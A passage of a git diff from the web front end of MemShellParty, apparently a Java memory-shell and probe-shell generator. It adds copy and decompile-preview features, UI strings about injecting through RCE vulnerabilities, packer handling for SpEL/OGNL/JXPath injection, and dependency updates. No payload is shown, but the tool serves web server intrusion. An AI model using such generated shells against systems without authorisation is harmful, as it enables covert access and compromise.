加载 jar 包实现注入", - "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载" + "tips.trigger-injector-class-loading": "通过 RCE 漏洞触发注入器类加载", + "copySource": "复制源码", + "copyBase64": "复制 Base64" } diff --git a/web/app/i18n/probeshell/en.json b/web/app/i18n/probeshell/en.json index 3161848c..7bb8056e 100644 --- a/web/app/i18n/probeshell/en.json +++ b/web/app/i18n/probeshell/en.json @@ -1,5 +1,7 @@ { "buttons.generate": "Generate Shell", + "copyBase64": "Copy Base64", + "copySource": "Copy Source", "dnslog.host": "DNSLog Host", "probeContent": "ProbeContent", "probeContent.bytecode": "Bytecode", @@ -12,9 +14,11 @@ "quickUsage.step1": "Select Probe Method, DNSLog, Response, etc.", "quickUsage.step2": "Select Probe Content, JDK, Server, etc.", "quickUsage.step3": "Click Generate Shell", + "shellClass": "ProbeShell", "shellClassName": "ShellClassName", "sleepSeconds": "SleepTime (seconds)", "sleepServer": "SleepServer", "tips.dnslog.host.required": "DNSLog host required", - "tips.response.reqParamName.required": "ParamName required" + "tips.response.reqParamName.required": "ParamName required", + "tips.shellBytesEmpty": "Shell bytes is empty, please generate shell first" } diff --git a/web/app/i18n/probeshell/zh-CN.json b/web/app/i18n/probeshell/zh-CN.json index 408cfaeb..3a58579d 100644 --- a/web/app/i18n/probeshell/zh-CN.json +++ b/web/app/i18n/probeshell/zh-CN.json @@ -1,5 +1,7 @@ { "buttons.generate": "生成探测马", + "copyBase64": "复制 Base64", + "copySource": "复制源码", "dnslog.host": "DNSLog 地址", "probeContent": "探测内容", "probeContent.bytecode": "字节码执行", @@ -12,9 +14,11 @@ "quickUsage.step1": "选择探测方法,DNSLog、Response 或者其他", "quickUsage.step2": "选择探测内容,JDK、服务类型 或者其他", "quickUsage.step3": "点击生成探测马", + "shellClass": "探测马", "shellClassName": "探测马类名", "sleepSeconds": "延迟时间(秒)", "sleepServer": "探测服务", "tips.dnslog.host.required": "DNSLog 地址必填", - "tips.response.reqParamName.required": "参数名称必填" + "tips.response.reqParamName.required": "参数名称必填", + "tips.shellBytesEmpty": "探测马字节码为空,无法下载,请先生成探测马" } diff --git a/web/app/lib/config.tsx b/web/app/lib/config.tsx index ad3fa75d..718e1784 100644 --- a/web/app/lib/config.tsx +++ b/web/app/lib/config.tsx @@ -1,6 +1,21 @@ +import { ExternalLinkIcon } from "lucide-react"; import type { LinkItemType } from "fumadocs-ui/layouts/shared"; +import { useTranslation } from "react-i18next"; + import { LanguageSwitcher } from "@/components/language-switcher"; +import { env } from "@/config"; + +type NavLabelKey = "MemShellGenerator" | "ProbeShellGenerator" | "documents" | "about"; + +function NavLabel({ translationKey }: { translationKey: NavLabelKey }) { + const { t } = useTranslation("common"); + + return t(translationKey); +} + +const basePath = env.BASE_PATH?.replace(/^\/+|\/+$/g, "") ?? ""; +const docsUrl = `/${basePath ? `${basePath}/` : ""}docs`; export const siteConfig = { name: "MemShellParty", @@ -13,19 +28,25 @@ export const siteConfig = { blog: "https://reajason.eu.org", navLinks: [ { - text: "MemShellGenerator", + text: , url: "/memshell", }, { - text: "ProbeShellGenerator", + text: , url: "/probeshell", }, { - text: "Documents", - url: "/docs", + text: ( + + + + ), + url: docsUrl, + external: true, }, { - text: "About", + text: , url: "/about", }, { diff --git a/web/app/lib/decompile/decompile.worker.ts b/web/app/lib/decompile/decompile.worker.ts new file mode 100644 index 00000000..03dca4aa --- /dev/null +++ b/web/app/lib/decompile/decompile.worker.ts @@ -0,0 +1,114 @@ +import "./prism-worker-guard"; +import { decompile } from "@run-slicer/cfr"; +import Prism from "prismjs"; +import "prismjs/components/prism-clike"; +import "prismjs/components/prism-java"; + +/** [tokenType, text] segments of one rendered line */ +export type TokenLine = Array<[string, string]>; + +export interface DecompiledClass { + source: string; + lines: TokenLine[]; +} + +export interface DecompileRequest { + id: number; + shellClassName: string; + shellBytesBase64: string; + injectorClassName?: string; + injectorBytesBase64?: string; +} + +export interface DecompileResponse { + id: number; + shell?: DecompiledClass; + injector?: DecompiledClass; + error?: string; +} + +function base64ToBytes(base64String: string) { + const byteCharacters = atob(base64String); + const bytes = new Uint8Array(byteCharacters.length); + for (let i = 0; i < byteCharacters.length; i++) { + bytes[i] = byteCharacters.charCodeAt(i); + } + return bytes; +} + +function toJvmClassName(className: string) { + return className.replaceAll(".", "/"); +} + +function tokenizeToLines(code: string): TokenLine[] { + const lines: TokenLine[] = [[]]; + const push = (type: string, text: string) => { + const parts = text.split("\n"); + for (let i = 0; i < parts.length; i++) { + if (i > 0) lines.push([]); + if (parts[i]) lines[lines.length - 1].push([type, parts[i]]); + } + }; + const walk = (token: string | Prism.Token, inheritedType: string) => { + if (typeof token === "string") { + push(inheritedType, token); + return; + } + const { type, content } = token; + if (typeof content === "string") { + push(type, content); + return; + } + for (const child of Array.isArray(content) ? content : [content]) { + walk(child, type); + } + }; + for (const token of Prism.tokenize(code, Prism.languages.java)) { + walk(token, "plain"); + } + return lines; +} + +/** CFR options: no "Could not load the following classes" list, no version banner */ +const CFR_OPTIONS = { comments: "false", showversion: "false" }; + +/** Strip CFR's leading "Decompiled with CFR" banner comment */ +function stripCfrBanner(source: string): string { + return source.replace(/^\/\*\r?\n \* Decompiled with CFR[\s\S]*?\*\/\r?\n?/, ""); +} + +async function decompileClass( + jvmClassName: string, + classes: Map, +): Promise { + const raw = await decompile(jvmClassName, { + source: (name) => classes.get(name) ?? null, + options: CFR_OPTIONS, + }); + const source = stripCfrBanner(raw); + return { source, lines: tokenizeToLines(source) }; +} + +self.onmessage = async (event: MessageEvent) => { + const { id, shellClassName, shellBytesBase64, injectorClassName, injectorBytesBase64 } = + event.data; + try { + const classes = new Map([ + [toJvmClassName(shellClassName), base64ToBytes(shellBytesBase64)], + ]); + const hasInjector = injectorClassName && injectorBytesBase64; + if (hasInjector) { + classes.set(toJvmClassName(injectorClassName), base64ToBytes(injectorBytesBase64)); + } + const shell = await decompileClass(toJvmClassName(shellClassName), classes); + const injector = hasInjector + ? await decompileClass(toJvmClassName(injectorClassName), classes) + : undefined; + self.postMessage({ id, shell, injector } satisfies DecompileResponse); + } catch (error) { + self.postMessage({ + id, + error: error instanceof Error ? error.message : String(error), + } satisfies DecompileResponse); + } +}; diff --git a/web/app/lib/decompile/prism-worker-guard.ts b/web/app/lib/decompile/prism-worker-guard.ts new file mode 100644 index 00000000..63ca8938 --- /dev/null +++ b/web/app/lib/decompile/prism-worker-guard.ts @@ -0,0 +1,15 @@ +/** + * prismjs auto-registers a `message` listener when loaded inside a Web Worker + * (it expects JSON strings and calls JSON.parse on evt.data). Our worker + * exchanges structured-clone objects, which crashes that handler with an + * uncaught SyntaxError. Setting `self.Prism.disableWorkerMessageHandler` + * before prism-core evaluates suppresses the registration. + * + * Imported for side effects before any prismjs import — ES module evaluation + * order guarantees this runs first. + */ +(globalThis as unknown as { Prism: { disableWorkerMessageHandler: boolean } }).Prism = { + disableWorkerMessageHandler: true, +}; + +export {}; diff --git a/web/app/lib/decompile/use-decompiled-sources.ts b/web/app/lib/decompile/use-decompiled-sources.ts new file mode 100644 index 00000000..c437bfc3 --- /dev/null +++ b/web/app/lib/decompile/use-decompiled-sources.ts @@ -0,0 +1,150 @@ +import type { DecompiledClass, DecompileRequest, DecompileResponse } from "./decompile.worker"; + +import { useEffect, useState } from "react"; + +/** Structural subset shared by MemShellResult and ProbeShellResult */ +export interface DecompileInput { + shellClassName?: string; + shellBytesBase64Str?: string; + injectorClassName?: string; + injectorBytesBase64Str?: string; +} + +export interface DecompiledSources { + shell: DecompiledClass | null; + injector: DecompiledClass | null; +} + +interface DecompileState { + sources: DecompiledSources; + isDecompiling: boolean; + error: string | null; +} + +const IDLE: DecompileState = { + sources: { shell: null, injector: null }, + isDecompiling: false, + error: null, +}; + +const CACHE_LIMIT = 8; +const cache = new Map(); + +function cacheGet(key: string) { + const value = cache.get(key); + if (value) { + cache.delete(key); + cache.set(key, value); + } + return value; +} + +function cacheSet(key: string, value: DecompiledSources) { + cache.set(key, value); + if (cache.size > CACHE_LIMIT) { + const oldest = cache.keys().next().value; + if (oldest !== undefined) cache.delete(oldest); + } +} + +/** FNV-1a over both base64 payloads; cheap identity for one generation. */ +function cacheKey(shellBytes: string, injectorBytes: string) { + let hash = 0x811c9dc5; + for (const str of [shellBytes, injectorBytes]) { + for (let i = 0; i < str.length; i++) { + hash ^= str.charCodeAt(i); + hash = Math.imul(hash, 0x01000193); + } + } + return `${(hash >>> 0).toString(36)}:${shellBytes.length}:${injectorBytes.length}`; +} + +let worker: Worker | null = null; +let nextId = 0; +const pending = new Map< + number, + { resolve: (value: DecompiledSources) => void; reject: (reason: Error) => void } +>(); + +function getWorker() { + if (!worker) { + worker = new Worker(new URL("./decompile.worker.ts", import.meta.url), { type: "module" }); + worker.onmessage = (event: MessageEvent) => { + const { id, shell, injector, error } = event.data; + const entry = pending.get(id); + if (!entry) return; + pending.delete(id); + if (error || !shell) { + entry.reject(new Error(error ?? "decompile failed")); + } else { + entry.resolve({ shell, injector: injector ?? null }); + } + }; + worker.onerror = (event) => { + const reason = new Error(event.message || "decompile worker failed"); + for (const entry of pending.values()) entry.reject(reason); + pending.clear(); + }; + } + return worker; +} + +function decompileInWorker(request: Omit) { + return new Promise((resolve, reject) => { + const id = nextId++; + pending.set(id, { resolve, reject }); + getWorker().postMessage({ ...request, id } satisfies DecompileRequest); + }); +} + +export function useDecompiledSources(generateResult: DecompileInput | undefined) { + const shellClassName = generateResult?.shellClassName; + const shellBytesBase64 = generateResult?.shellBytesBase64Str; + const injectorClassName = generateResult?.injectorClassName; + const injectorBytesBase64 = generateResult?.injectorBytesBase64Str; + + const [state, setState] = useState(IDLE); + + useEffect(() => { + if (!shellClassName || !shellBytesBase64) { + setState(IDLE); + return; + } + + const key = cacheKey(shellBytesBase64, injectorBytesBase64 ?? ""); + const cached = cacheGet(key); + if (cached) { + setState({ sources: cached, isDecompiling: false, error: null }); + return; + } + + let cancelled = false; + setState({ sources: { shell: null, injector: null }, isDecompiling: true, error: null }); + + decompileInWorker({ + shellClassName, + shellBytesBase64, + injectorClassName, + injectorBytesBase64, + }) + .then((sources) => { + cacheSet(key, sources); + if (!cancelled) setState({ sources, isDecompiling: false, error: null }); + }) + .catch((error: unknown) => { + if (!cancelled) { + setState({ + sources: { shell: null, injector: null }, + isDecompiling: false, + error: error instanceof Error ? error.message : String(error), + }); + } + }); + + return () => { + cancelled = true; + }; + }, [injectorBytesBase64, injectorClassName, shellBytesBase64, shellClassName]); + + return state; +} diff --git a/web/app/lib/source.ts b/web/app/lib/source.ts index 4b7ffab9..a4128d34 100644 --- a/web/app/lib/source.ts +++ b/web/app/lib/source.ts @@ -1,6 +1,16 @@ -import { docs } from "collections/server"; import { loader, type InferPageType } from "fumadocs-core/source"; import { lucideIconsPlugin } from "fumadocs-core/source/lucide-icons"; +import { defineDocs } from "fumadocs-mdx/macro"; + +export const docs = defineDocs({ + dir: "content/docs", + docs: { + async: true, + postprocess: { + includeProcessedMarkdown: true, + }, + }, +}); export const source = loader({ source: docs.toFumadocsSource(), diff --git a/web/app/lib/utils.ts b/web/app/lib/utils.ts index f966db73..27d77225 100644 --- a/web/app/lib/utils.ts +++ b/web/app/lib/utils.ts @@ -16,11 +16,11 @@ export function downloadContent(content: Blob, fileName: string, fileExtension: export function base64ToBytes(base64String: string) { const byteCharacters = atob(base64String); - const byteNumbers = new Array(byteCharacters.length); + const bytes = new Uint8Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { - byteNumbers[i] = byteCharacters.charCodeAt(i); + bytes[i] = byteCharacters.charCodeAt(i); } - return new Uint8Array(byteNumbers); + return bytes; } export function downloadBytes(base64String: string, className?: string, jarName?: string) { diff --git a/web/app/routes/probeshell.tsx b/web/app/routes/probeshell.tsx index d8625a4b..8317331a 100644 --- a/web/app/routes/probeshell.tsx +++ b/web/app/routes/probeshell.tsx @@ -15,6 +15,7 @@ import ShellResult from "@/components/probeshell/shell-result"; import { Button } from "@/components/ui/button"; import { env } from "@/config"; import { siteConfig } from "@/lib/config"; +import { baseOptions } from "@/lib/layout.shared"; import { type ProbeShellFormSchema, probeShellFormSchema, @@ -22,8 +23,6 @@ import { } from "@/types/schema"; import { transformToProbePostData } from "@/utils/transformer"; -import { baseOptions } from "@/lib/layout.shared"; - export default function ProbeShellGenerator() { const { data: responseBodyServers } = useQuery({ queryKey: ["probeResponseBodyServers"], diff --git a/web/app/types/schema.ts b/web/app/types/schema.ts index 582b49a2..8ee38e3f 100644 --- a/web/app/types/schema.ts +++ b/web/app/types/schema.ts @@ -53,7 +53,7 @@ const urlPatternIsNeeded = (shellType: string) => { const isInvalidUrl = (urlPattern: string | undefined) => urlPattern === "/" || urlPattern === "/*" || !urlPattern?.startsWith("/") || !urlPattern; -export const useYupValidationResolver = (validationSchema: yup.ObjectSchema, t: TFunction) => +export const useYupValidationResolver = (validationSchema: yup.AnySchema, t: TFunction) => useCallback( async (data: MemShellFormSchema, _context: any): Promise => { try { @@ -157,10 +157,7 @@ export const probeShellFormSchema = yup.object().shape({ type ProbeValidationResult = ResolverResult; -export const useYupValidationProbeResolver = ( - validationSchema: yup.ObjectSchema, - t: TFunction, -) => +export const useYupValidationProbeResolver = (validationSchema: yup.AnySchema, t: TFunction) => useCallback( async (data: ProbeShellFormSchema, _context: any): Promise => { try { diff --git a/web/app/utils/transformer.ts b/web/app/utils/transformer.ts index 0b537069..c62deb69 100644 --- a/web/app/utils/transformer.ts +++ b/web/app/utils/transformer.ts @@ -2,15 +2,6 @@ import type { InjectorConfig, ShellConfig, ShellToolConfig } from "@/types/memsh import type { ProbeConfig, ProbeContentConfig } from "@/types/probeshell"; import type { MemShellFormSchema, ProbeShellFormSchema } from "@/types/schema"; -const SPRING_GZIP_JDK17_RELATED_PACKERS = new Set([ - "SpEL", - "SpELSpringGzipJDK17", - "OGNL", - "OGNLSpringGzipJDK17", - "JXPath", - "JXPathSpringGzipJDK17", -]); - const UPPERCASE_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const CLASS_NAME_LETTERS = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"; @@ -31,7 +22,7 @@ function generateSpringExpressionInjectorClassName() { } function isSpringGzipJdk17RelatedPacker(packer: string) { - return SPRING_GZIP_JDK17_RELATED_PACKERS.has(packer); + return packer.endsWith("SpringGzipJDK17"); } export function transformToPostData(formValue: MemShellFormSchema) { diff --git a/web/bun.lock b/web/bun.lock index 02a3d971..91b6a30d 100644 --- a/web/bun.lock +++ b/web/bun.lock @@ -5,54 +5,52 @@ "": { "name": "fumadocs", "dependencies": { - "@base-ui/react": "^1.6.0", - "@hookform/resolvers": "^5.4.0", - "@orama/orama": "^3.1.18", - "@orama/stopwords": "^3.1.18", - "@orama/tokenizers": "^3.1.18", - "@react-router/node": "^7.15.1", - "@tanstack/react-query": "^5.101.2", + "@base-ui/react": "^1.7.0", + "@hookform/resolvers": "^5.9.1", + "@react-router/node": "^8.3.1", + "@run-slicer/cfr": "file:./vendor/cfr", + "@tanstack/react-query": "^5.102.8", "class-variance-authority": "^0.7.1", "clsx": "^2.1.1", - "framer-motion": "^12.42.0", - "fumadocs-core": "^16.10.6", - "fumadocs-mdx": "15.0.12", - "fumadocs-ui": "16.10.5", - "i18next": "^26.3.3", - "isbot": "^5.1.44", - "lucide-react": "^1.21.0", - "motion": "^12.42.0", - "react": "^19.2.7", + "framer-motion": "^13.1.1", + "fumadocs-core": "^16.15.4", + "fumadocs-mdx": "15.4.0", + "fumadocs-ui": "16.15.4", + "i18next": "^26.4.0", + "isbot": "^5.2.2", + "lucide-react": "^1.37.0", + "motion": "^13.1.1", + "react": "^19.2.8", "react-copy-to-clipboard": "^5.1.1", - "react-dom": "^19.2.7", - "react-hook-form": "^7.80.0", - "react-i18next": "^17.0.8", - "react-medium-image-zoom": "^5.4.8", + "react-dom": "^19.2.8", + "react-hook-form": "^7.87.0", + "react-i18next": "^17.0.12", + "react-medium-image-zoom": "^5.4.9", "react-syntax-highlighter": "^16.1.1", - "sonner": "^2.0.7", + "sonner": "^2.0.8", "tailwind-merge": "^3.6.0", "tw-animate-css": "^1.4.0", "yup": "^1.7.1", }, "devDependencies": { - "@react-router/dev": "^7.15.1", - "@tailwindcss/vite": "^4.3.1", + "@react-router/dev": "^8.3.1", + "@tailwindcss/vite": "^4.3.3", "@types/mdx": "^2.0.14", - "@types/node": "^26.0.1", - "@types/react": "^19.2.17", + "@types/node": "^26.4.0", + "@types/react": "^19.2.18", "@types/react-copy-to-clipboard": "^5.0.7", - "@types/react-dom": "^19.2.3", + "@types/react-dom": "^19.2.5", "@types/react-syntax-highlighter": "^15.5.13", - "baseline-browser-mapping": "^2.10.40", - "oxfmt": "^0.56.0", - "oxlint": "^1.71.0", - "react-router-devtools": "^6.2.1", + "baseline-browser-mapping": "^2.11.20", + "oxfmt": "^0.65.0", + "oxlint": "^1.80.0", + "react-router-devtools": "^6.2.3", "rimraf": "^6.1.3", "serve": "^14.2.6", - "tailwindcss": "^4.3.1", - "typescript": "^6.0.3", - "vite": "^8.1.0", - "vite-plugin-devtools-json": "^1.0.0", + "tailwindcss": "^4.3.3", + "typescript": "^7.0.2", + "vite": "^8.2.2", + "vite-plugin-devtools-json": "^1.1.0", "vite-tsconfig-paths": "^6.1.1", }, }, @@ -64,30 +62,16 @@ "@babel/core": ["@babel/core@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.7", "@babel/helper-compilation-targets": "^7.29.7", "@babel/helper-module-transforms": "^7.29.7", "@babel/helpers": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/template": "^7.29.7", "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA=="], - "@babel/generator": ["@babel/generator@7.29.7", "", { "dependencies": { "@babel/parser": "^7.29.7", "@babel/types": "^7.29.7", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-DkXD5OJQaAQIdZ1bt3UZdEnHAn9Imd3IVBdX03UFe+ony9Ojw5pzr9YVKGDY1jt+Gcn/FnGkNf8r+Vj5NOJWtQ=="], - - "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" } }, "sha512-OoK6239jHPuSQOoS0kfTVKn0b/rVTk0seKq4Gd2UMLtmOVLjDC0ki3e+c90Trqv2gMfvJFqkiljrr568+qddiw=="], + "@babel/generator": ["@babel/generator@7.29.8", "", { "dependencies": { "@babel/parser": "^7.29.8", "@babel/types": "^7.29.8", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-gZbepsdh3WDtgZKWL+vTPh71LSBrm/Y4/QDZBVCcYfmeTEEuoOYwlSy+G1StfJg+/Zy550u/3TATbm7qDbbMtg=="], "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.29.7", "", { "dependencies": { "@babel/compat-data": "^7.29.7", "@babel/helper-validator-option": "^7.29.7", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g=="], - "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.29.7", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "@babel/helper-member-expression-to-functions": "^7.29.7", "@babel/helper-optimise-call-expression": "^7.29.7", "@babel/helper-replace-supers": "^7.29.7", "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", "@babel/traverse": "^7.29.7", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-IY3ZD9Tmooqr3TUhc3DUWxiuo8xx1DWLhd5M7hQ+ZWJamqM2BbalrBJb2MisSLoYorOj75U03qULCxQTY9r3hg=="], - "@babel/helper-globals": ["@babel/helper-globals@7.29.7", "", {}, "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA=="], - "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-j+7JYmk1JYDtACIGj0QJqqWZjoUpMoEikQGADMaHgCMCSDqd2+P32rfcibUNrGOMWrlzK1WJBdxrB3JJQZwWtg=="], - "@babel/helper-module-imports": ["@babel/helper-module-imports@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g=="], "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.29.7", "", { "dependencies": { "@babel/helper-module-imports": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7", "@babel/traverse": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg=="], - "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" } }, "sha512-+kmGVjcT9RGYzoDwdwEqEvGgKe3BYq+O1iGzjFubaNgZHwYHP6lsF2Yghf4kEuv9BV7tYDZ913aBW9am6YKong=="], - - "@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.29.7", "", {}, "sha512-G7sHYigPY17oO5SYWnfD/0MTBwVR781S/JI643e/JhUYgVgWE/61SoW3NH9KWUKyKq5LVh3npif99Wkt6j86Jw=="], - - "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.29.7", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.29.7", "@babel/helper-optimise-call-expression": "^7.29.7", "@babel/traverse": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-atfGXWSeCiF4DnKZIfmJfQRkSw9b9gNNXR1kqKjbhG4pGYCOnkp8OcTB8E3NXjBu8NpheSnOeNKz8KT7UNFTmQ=="], - - "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.29.7", "", { "dependencies": { "@babel/traverse": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-brcMGQaVzIeUb+6/bs1Av0f8YuNNjKY2JyvfRCsFuFsdKccEQ5Ges2y74D74NZ1Rz8lKJ9ksJkfqwQFJ/iNEyQ=="], - "@babel/helper-string-parser": ["@babel/helper-string-parser@7.29.7", "", {}, "sha512-Pb5ijPrZ89GDH8223L4UP8i6QApWxs04RbPQJTeWDV0/keR2E36MeKnyr6LYmUUvqRRI+Iv87SuF1W6ErINzYw=="], "@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.29.7", "", {}, "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg=="], @@ -96,105 +80,91 @@ "@babel/helpers": ["@babel/helpers@7.29.7", "", { "dependencies": { "@babel/template": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-1k2lAGRMfHTcwuNYcCNUmaUffmQv8KWMfh2iJUUeRlwlwH4FdNG7mfPI10NPfLHJFThE4Tyr4mv7kTNZOiPuBg=="], - "@babel/parser": ["@babel/parser@7.29.7", "", { "dependencies": { "@babel/types": "^7.29.7" }, "bin": "./bin/babel-parser.js" }, "sha512-hnORnjP/1P/zFEndoeX+n+t1RwWRJiJpM/jO7FW32Kn9r5+sJB2JWOdYo4L6k78j15eCwY3Gm/7364B1EMwtNg=="], - - "@babel/plugin-syntax-jsx": ["@babel/plugin-syntax-jsx@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-TSu8+mHCoEaaCDEZ0I3+6mvTBYR4PCxQwf2z9/r5Tbztv6NaLR3B9thGTTxX2WGuGHJqRiAbKPeGTJ5XWXVg6A=="], + "@babel/parser": ["@babel/parser@7.29.8", "", { "dependencies": { "@babel/types": "^7.29.8" }, "bin": "./bin/babel-parser.js" }, "sha512-E8lTAYNB1KW+FH+VGJuZM1ioAx2E6oVlvQFRrf5P8ZZmsiJXYAD9vTFV7yyEURNzgh1dFqMZuO6tUwcARbqFCA=="], - "@babel/plugin-syntax-typescript": ["@babel/plugin-syntax-typescript@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-ngr+82Sh0xMz25TPCZi+nC2iTzjfCdWS2ONXTp/PtSCHCgaCNBpdMqgvJ2ccdLlClVZ7sisIgB914j/JFe+RZA=="], - - "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.29.7", "", { "dependencies": { "@babel/helper-module-transforms": "^7.29.7", "@babel/helper-plugin-utils": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-j0vCldybPC5b5dwCQOJ21uKtHzt7hxLygJTg9eF1ScfaikEDNfzn94XoW5Fi+seBR0nCyL23xaBFFkq7dTM8XQ=="], - - "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.29.7", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.29.7", "@babel/helper-create-class-features-plugin": "^7.29.7", "@babel/helper-plugin-utils": "^7.29.7", "@babel/helper-skip-transparent-expression-wrappers": "^7.29.7", "@babel/plugin-syntax-typescript": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-jK52h8LaLc7JarhQV2ofeFMts4H7vnOXnqZNA6fYglBTZewRBE51KWt3BUltW1P+KoPsYkHoJeXePuz4zo2LMw=="], - - "@babel/preset-typescript": ["@babel/preset-typescript@7.29.7", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.29.7", "@babel/helper-validator-option": "^7.29.7", "@babel/plugin-syntax-jsx": "^7.29.7", "@babel/plugin-transform-modules-commonjs": "^7.29.7", "@babel/plugin-transform-typescript": "^7.29.7" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-/Foi8vKY2EVbed/1eZx0gJEEwHAIxogrySI7rULcRIvhZzbvoE/b5qG5Ghc0WKAFKOHA9SD1x7RsFlOYdutIiQ=="], - - "@babel/runtime": ["@babel/runtime@7.29.2", "", {}, "sha512-JiDShH45zKHWyGe4ZNVRrCjBz8Nh9TMmZG1kh4QTK8hCBTWBi8Da+i7s1fJw7/lYpM4ccepSNfqzZ/QvABBi5g=="], + "@babel/runtime": ["@babel/runtime@7.29.7", "", {}, "sha512-Nq8OhGWiZIZGV6hLHoyAKLLcJihP/xFeBMGJoUrxTX2psI8dCifzLhZISFb+VWS3wFMRDmCGw5R+dOySCqPLhw=="], "@babel/template": ["@babel/template@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/types": "^7.29.7" } }, "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg=="], - "@babel/traverse": ["@babel/traverse@7.29.7", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.7", "@babel/helper-globals": "^7.29.7", "@babel/parser": "^7.29.7", "@babel/template": "^7.29.7", "@babel/types": "^7.29.7", "debug": "^4.3.1" } }, "sha512-EhlfNQtZ+NK22w5BM61ciuiq1m58ed33Wr1Xan//ZRTy6hgjnwyCffRYwzsGXdASJSUJ1guZILsErh1eQcl+zw=="], + "@babel/traverse": ["@babel/traverse@7.29.8", "", { "dependencies": { "@babel/code-frame": "^7.29.7", "@babel/generator": "^7.29.8", "@babel/helper-globals": "^7.29.7", "@babel/parser": "^7.29.8", "@babel/template": "^7.29.7", "@babel/types": "^7.29.8", "debug": "^4.3.1" } }, "sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg=="], - "@babel/types": ["@babel/types@7.29.7", "", { "dependencies": { "@babel/helper-string-parser": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7" } }, "sha512-4zBIxpPzowiZpusoFkyGVwakdRJUyuH5PxQ/PrqghfdFWWasvnCdPfQXHrenDai+gyLARulZjZowCOj6fjT4pA=="], + "@babel/types": ["@babel/types@7.29.8", "", { "dependencies": { "@babel/helper-string-parser": "^7.29.7", "@babel/helper-validator-identifier": "^7.29.7" } }, "sha512-Vj1jF3cPfxg7OAfoI7QnVKLoILlm2JF9pnVHrX8qx7AHMiYWT+NDAA7jChlNgRS4WTLc/fD1lXLmPixluj+3Gg=="], - "@base-ui/react": ["@base-ui/react@1.6.0", "", { "dependencies": { "@babel/runtime": "^7.29.2", "@base-ui/utils": "0.3.1", 